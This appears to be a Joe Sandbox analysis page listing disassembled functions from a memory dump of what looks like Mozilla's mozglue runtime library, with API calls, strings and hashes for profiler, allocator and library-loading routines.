API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3555eddccfdba5cba58036ba0662295be5a3bf124db81d656da9429086dc86c2
Instruction ID: 97905f64da325c01969e40aaf5b70669f32092f2360457fcf2c8cf8979fe635b
Opcode Fuzzy Hash: 3555eddccfdba5cba58036ba0662295be5a3bf124db81d656da9429086dc86c2
Instruction Fuzzy Hash: CDF0B4753002009BDB00EF6AD88896A77BDEFC629EFA40411EA05C3B02CB314801876E

Function 6C5E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5E0DF8), ref: 6C5E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5E0EA1
__Init_thread_footer.LIBCMT ref: 6C5E0EB5
FreeLibrary.KERNEL32 ref: 6C5E0EC5

Strings

kernel32.dll, xrefs: 6C5E0E7D
GetProcessMitigationPolicy, xrefs: 6C5E0E9B

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: b6c64fc54756127426cf8d7d13c3dbdb27662ff7d37c8bcbacad52a0e46468a8
Instruction ID: 28d535ed19dedb1e3d77c7a8723af34c3718bd1020ebb6a41d4ff3200f381c5f
Opcode Fuzzy Hash: b6c64fc54756127426cf8d7d13c3dbdb27662ff7d37c8bcbacad52a0e46468a8
Instruction Fuzzy Hash: D6012470B00281CFDF10DFEAE994A6237B6E78A358FB00526A90192B40DB74A4199E1E

Function 6C61F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C61F598), ref: 6C61F621

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F637
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F645
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C61F62A

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 96b2eb0e6944472878cc3ccb8998f5b71c573a6a4ddaf61b3cb037ee33f35c1c
Instruction ID: e9c3139e3397db96b04a70193834cb6f71ab6b7f953169b8750f6e3d7e7367e7
Opcode Fuzzy Hash: 96b2eb0e6944472878cc3ccb8998f5b71c573a6a4ddaf61b3cb037ee33f35c1c
Instruction Fuzzy Hash: C9F05B75304204ABDB009F6AD88896A777DEFC629DFA40415EA4593742CB754805876E

Function 6C6105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C60CFAE,?,?,?,6C5D31A7), ref: 6C6105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C60CFAE,?,?,?,6C5D31A7), ref: 6C610616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5D31A7), ref: 6C61061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5D31A7), ref: 6C610627

Strings

<jemalloc>, xrefs: 6C6105FA, 6C61060F
: (malloc) Error in VirtualFree(), xrefs: 6C61061B, 6C610625

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 88fa90612e95f2b579c9fe2d2192ac2b9b44ad7233cde9d5503e6c94fd25d721
Instruction ID: d66d522407a2ebb6d6c80db0d5612696a493e0f9069b8c498a99fab5cd0415b8
Opcode Fuzzy Hash: 88fa90612e95f2b579c9fe2d2192ac2b9b44ad7233cde9d5503e6c94fd25d721
Instruction Fuzzy Hash: D1E08CE2A0101037F6146256AC86DBB761DDBC6138F084039FE0E83701E94AAD1E51FA

Function 6C5E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed82d46266d3903c96cad65653aaa697a1e5760911ee9a286e522616d94fd37
Instruction ID: ed9e6a698bd1da4e4f3a66b31c1c6b30059c5f57f66f84441de033bf4d90d32c
Opcode Fuzzy Hash: 0ed82d46266d3903c96cad65653aaa697a1e5760911ee9a286e522616d94fd37
Instruction Fuzzy Hash: 88A159B0A00605CFDB14CF29C984B9AFBF1BF89304F54866ED44AA7B00EB31A955CF94

Function 6C6314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6314E2
GetCurrentThreadId.KERNEL32 ref: 6C631546
InitializeConditionVariable.KERNEL32(?), ref: 6C6315BA
free.MOZGLUE(?), ref: 6C6316B4

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 1a088863b516077379ffacf8829b664c9d39132139b73c5af2b7d88e679c5b67
Instruction ID: d3a8588ea1769b3b2b8d3cd5748750c0818ddec98c81ad5dc63db1717b30db71
Opcode Fuzzy Hash: 1a088863b516077379ffacf8829b664c9d39132139b73c5af2b7d88e679c5b67
Instruction Fuzzy Hash: FD61F171A007109BDB11CF25C880BDEB7B1BF8A318F44A51CED8A57701DB35E949CB99

Function 6C629F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C629FDB
free.MOZGLUE(?,?), ref: 6C629FF0
free.MOZGLUE(?,?), ref: 6C62A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C62A0BE
free.MOZGLUE(?,?), ref: 6C62A0D5
free.MOZGLUE(?,?), ref: 6C62A0EB

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4767fc400d187736ebbae35c9835a5899c23ba0e64514b5fba7995f25045d819
Instruction ID: ef53b6bdb3561661775bede3913acbb05bc5193d72238ecf6d3d1799ff0d7b6d
Opcode Fuzzy Hash: 4767fc400d187736ebbae35c9835a5899c23ba0e64514b5fba7995f25045d819
Instruction Fuzzy Hash: 25618D755086419FC711CF18C48059AB7F5FFC8328F548669E8A99BA02EB36E986CFC1

Function 6C62DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C62D38A,?), ref: 6C62DC6F
free.MOZGLUE(?,?,?,?,?,6C62D38A,?), ref: 6C62DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C62D38A,?), ref: 6C62DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C62D38A,?), ref: 6C62DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C62D38A,?), ref: 6C62DD4A

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: d28f11006c0814a4f7722d1018142fd94d48efe222dbb3e5f9acd28aa3afaa18
Instruction ID: e16347947b816e5f670005d670e10611554a768339b2a8b7871f003463f447a3
Opcode Fuzzy Hash: d28f11006c0814a4f7722d1018142fd94d48efe222dbb3e5f9acd28aa3afaa18
Instruction Fuzzy Hash: 8A417AB5A00605CFCB04CF99C880A9ABBF6FF89314B654569DA46ABB10D735FC01CF94

Function 6C60F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C60F480

Part of subcall function 6C5DF100: LoadLibraryW.KERNEL32(shell32,?,6C64D020), ref: 6C5DF122
Part of subcall function 6C5DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5DF132

CloseHandle.KERNEL32(00000000), ref: 6C60F555

Part of subcall function 6C5E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E1248,6C5E1248,?), ref: 6C5E14C9
Part of subcall function 6C5E14B0: memcpy.VCRUNTIME140(?,6C5E1248,00000000,?,6C5E1248,?), ref: 6C5E14EF

Part of subcall function 6C5DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5DEEE3

CreateFileW.KERNEL32 ref: 6C60F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C60F523

Strings

\oleacc.dll, xrefs: 6C60F4CB

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 729a28a217b96509a232a936e05a4416240e1e8f8fee55bc0b86562b7ff41e59
Instruction ID: 384c15f8780953aedf03170b964e14deab5fa83b08a9843a1f072363323bf9e8
Opcode Fuzzy Hash: 729a28a217b96509a232a936e05a4416240e1e8f8fee55bc0b86562b7ff41e59
Instruction Fuzzy Hash: 6F41CF707087109FE726DF29C984A9BB3F4EF94318F604A1CF59193650EB30E949CB9A

Function 6C61E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61E04F

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C61E057

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: f7d359611ceebfbe3b7d70b8518812cfeea7835ad5f8133721b2c623f49c8be7
Instruction ID: fb897599e37aef20e11892523c798ac221d15f631da863a9e0643c831edf2f2f
Opcode Fuzzy Hash: f7d359611ceebfbe3b7d70b8518812cfeea7835ad5f8133721b2c623f49c8be7
Instruction Fuzzy Hash: 4221C574B041089FDF04DF69D85C6EEB7B5AF8530AF644028E90A97B40DB31D919C7E9

Function 6C6374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C637526
__Init_thread_footer.LIBCMT ref: 6C637566
__Init_thread_footer.LIBCMT ref: 6C637597

Strings

UnmapViewOfFile2, xrefs: 6C637552
kernel32.dll, xrefs: 6C637557

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 1ea36c8de006dba4e7eb0e9e06140bd852ba366235e53109642a40f924598a41
Instruction ID: f2b301edadec729e0d011248f791e67ef0853d4af03da62c7ee9699a809cd589
Opcode Fuzzy Hash: 1ea36c8de006dba4e7eb0e9e06140bd852ba366235e53109642a40f924598a41
Instruction Fuzzy Hash: 7F212831B00511EFCB18CFAA9E94E993375EF87375F642128D40957F80CB21B81189AF

Function 6C63A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65F770,-00000001,?,6C64E330,?,6C5FBDF7), ref: 6C63A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C5FBDF7), ref: 6C63A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C5FBDF7), ref: 6C63A7E4
LeaveCriticalSection.KERNEL32(6C65F770), ref: 6C63A80A

Strings

accelerator.dll, xrefs: 6C63A7BF

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: c8b8ee118e983ada3e92874308b8ab1920d7e09dfbef96c26d9a34d797a1b74a
Instruction ID: dfebbdf8880fcb3470e18b6f0841395e7becb4c881920688f75c6d735dafbff3
Opcode Fuzzy Hash: c8b8ee118e983ada3e92874308b8ab1920d7e09dfbef96c26d9a34d797a1b74a
Instruction Fuzzy Hash: EB018FB07013149F9F04DF96E8C4C557BB8FB8A354B54806AE9098B712DB70A800CBA9

Function 6C6375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C63748B,?), ref: 6C6375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6375D7
FreeLibrary.KERNEL32(?,6C63748B,?), ref: 6C6375EC

Strings

RtlNtStatusToDosError, xrefs: 6C6375D1
ntdll.dll, xrefs: 6C6375B3

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 417ec3450ed385c2e0222ae667c21a7d06b50f2709a9b34af3afbc9efcb3060d
Instruction ID: c84e2882012b6107b0a408c293292c8ce0eefae6b84fd48a965dde12b1dd6ea7
Opcode Fuzzy Hash: 417ec3450ed385c2e0222ae667c21a7d06b50f2709a9b34af3afbc9efcb3060d
Instruction Fuzzy Hash: AAE09271700301AFEB00EFA3E9C87027AF8EB46358FB46025AA05D1690EBB090528F1E

Function 6C637600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C637592), ref: 6C637608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C637627
FreeLibrary.KERNEL32(?,6C637592), ref: 6C63763C

Strings

NtUnmapViewOfSection, xrefs: 6C637621
ntdll.dll, xrefs: 6C637603

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: bc880372e67fefc427d69df5a3e569c2c6b607ba5c63374015480659250bf6f1
Instruction ID: 732c40ee2e6c1f7fda7bd7a03ccbd1042890e96ad5a08d570ed886e47afe4fc2
Opcode Fuzzy Hash: bc880372e67fefc427d69df5a3e569c2c6b607ba5c63374015480659250bf6f1
Instruction Fuzzy Hash: 59E07EB0700301AFDF00AFA7AD987017AB8E75A399FB45515EA09D2650EBB190118F1E

Function 6C63BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C63BE49), ref: 6C63BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C63BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C63BE49), ref: 6C63BF38
RtlReAllocateHeap.NTDLL ref: 6C63BF83
RtlFreeHeap.NTDLL ref: 6C63BFA6

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: ad34ddab6004f5b806a5ceabec706b5f8343b64fc2c90cadb5f8071641e7e504
Instruction ID: 597000c965e36422c5b071eb85c8b3ed2a1dcf72da6ad7c412a8b4fa33502e5f
Opcode Fuzzy Hash: ad34ddab6004f5b806a5ceabec706b5f8343b64fc2c90cadb5f8071641e7e504
Instruction Fuzzy Hash: 1D519371A006258FE710CF69CD80BAAB3A2FFC5314F29A63DD51A97B54D730F9068B84

Function 6C628E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628EBF
free.MOZGLUE(?,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?,6C64D734), ref: 6C628F46
free.MOZGLUE(?,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C61B58D,?,?,?,?,?,?,?,6C64D734,?,?,?), ref: 6C628F8F

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fd69fd3a6c9a0448949fda8cc24dc571f3960b15fb4cbdf40e564f48b04f52c5
Instruction ID: b4b6c552d96cfe9a8afea89018f97498c90438c2c82ac7fb278df842663abc02
Opcode Fuzzy Hash: fd69fd3a6c9a0448949fda8cc24dc571f3960b15fb4cbdf40e564f48b04f52c5
Instruction Fuzzy Hash: A651C3B2A012168FEB24CF54DC807AE77B2BF48358F25042AD516AB750E735F905CF96

Function 6C6227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

